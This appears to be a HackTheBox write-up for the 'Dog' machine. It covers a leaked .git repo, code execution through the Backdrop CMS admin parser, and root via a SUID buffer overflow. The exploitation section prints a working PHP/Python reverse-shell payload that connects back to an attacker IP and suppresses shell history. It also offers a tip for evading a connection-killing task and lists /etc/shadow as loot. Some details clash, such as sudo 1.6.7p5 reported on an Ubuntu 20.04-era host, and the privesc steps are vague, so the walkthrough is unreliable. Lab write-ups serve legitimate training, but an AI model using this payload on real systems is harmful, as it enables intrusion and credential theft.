DOG — HTB (10.10.11.58)

Linux box (HTB). Backdrop CMS with an exposed .git repo leaking credentials → authenticated RCE via the PHP/HTML parser on admin.php → SUID buffer-overflow for root.

Information Gathering

Services — Nmap

Nmap reveals only an OpenSSH server and an Apache server running on their default ports:

$PORT   STATE SERVICE VERSION
$22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
$80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
$|_http-title: Home | Dog
$| http-robots.txt: 22 disallowed entries
$| /core/ /profiles/ /README.md /web.config /admin
$| http-git:
$|   10.10.11.58:80/.git/
$|     Git repository found!
$|_    Last commit message: todo: customize url aliases.
$|_http-generator: Backdrop CMS 1 (https://backdropcms.org)

Key takeaways: an exposed .git/ repository and Backdrop CMS.

Web — Directory Discovery

Gobuster shows that there is an admin.php file and an uploads directory present.

Exploitation

Service Exploited: PHP HTML Parser Vulnerability Type: RCE via execution of the shell_exec PHP function Exploit PoC: phpbash — https://github.com/Arrexel/phpbash

Discovery

The HTML Parser on admin.php executes any supplied PHP code.

Description

A task running on the target kills any active netcat connections, or any active connections that interact with bash/sh, preventing exploitation of the HTML parser. Work around it by copying the nc and bash binaries to /tmp, or by using a PHP-based shell saved to the uploads directory.

Exploit code used

01<?php system("python2 -c \"import os, pty, socket; lhost = '10.10.10.10'; lport = 9009; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect((lhost, lport)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); os.putenv('HISTFILE','/dev/null'); pty.spawn('/bin/bash'); s.close()\"") ?>

Privilege Escalation

Service Exploited: SUID application Vulnerability Type: buffer overflow

Discovery

PrivEsc enumeration flagged an old sudo version and a custom binary with source code in the app folder:

$[+] Sudo version
$Sudo version 1.6.7p5

Description

Two active SSH sessions are required to successfully exploit the binary. Exploit written in bof.py (import struct, craft the overflow).

System shell

$cat proof.txt

Post-Exploitation

Network — a local MySQL service is listening:

$netstat -antup
$tcp  0  0 0.0.0.0:3306  0.0.0.0:*  LISTEN  3404/mysqld

Loot to collect: /etc/shadow, /etc/passwd, ls -lahR /root.